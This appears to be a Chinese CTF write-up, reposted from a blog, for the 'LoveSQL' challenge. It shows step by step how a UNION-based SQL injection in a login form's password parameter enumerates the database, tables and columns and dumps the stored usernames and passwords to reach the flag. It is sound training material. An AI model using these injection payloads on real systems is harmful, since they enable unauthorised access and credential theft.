[极客大挑战 2019]LoveSQL
[极客大挑战 2019]LoveSQL
测试一下注入类型,出现报错,说明是字符串注入
使用 万能钥匙 成功登录上,并给出了密码
试试一下这个flag,发现不对,继续搞。
从这个报错的语句可以看出来,sql的查询语句是将用户名和密码一起查询的,上面得到了 admin 用户,下面就可以利用这点,注入点放在 passwod 字段。
# 查询语句
$sql = 'SELECT * FROM table WHERE username=$username and password=$password'
# 测试返回数据的位置
?username=admin&password=1' union select 1,2,3 %23
# 获取当前数据库名和用户
?username=admin&password=1' union select 1,database(),user() %23
# 获取数据库中的数据表(子查询被限制只能返回一条)
?username=admin&password=1' union select 1,(select concat(',',table_name) from information_schema.tables where table_schema=database() LIMIT 0,1),user() %23
## 解决方法一:添加一个LIMIT 一行一行的返回,****database() LIMIT 0,1),user() %23
## 解决方法二:将 concat() 改为 group_concat() 返回的数据只有一条。
?username=admin&password=1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),user() %23
# 获取表中的字段名字
?username=admin&password=1' union select 1,(select group_concat(column_name) from information_schema.columns where table_name='l0ve1ysq1'),user() %23
# 获取字段值
?username=admin&password=1' union select 1,(select group_concat(id,username,password) from l0ve1ysq1),user() %23
返回 2,3 的位置可以回显结果。
查询当前数据库和用户
获取表的时候回显说,子查询最多返回一条数据,通过修改插入的语句返回一条数据。
获取数据表中字段名字和字段的值
看不清?没关系,看源码即可
# 拿到flag
flag{d0329084-f9d7-4d67-a974-4e83205ef814}
本文来自博客园,作者:knsec,转载请注明原文链接:https://www.cnblogs.com/knsec-cnblogs/p/16582254.html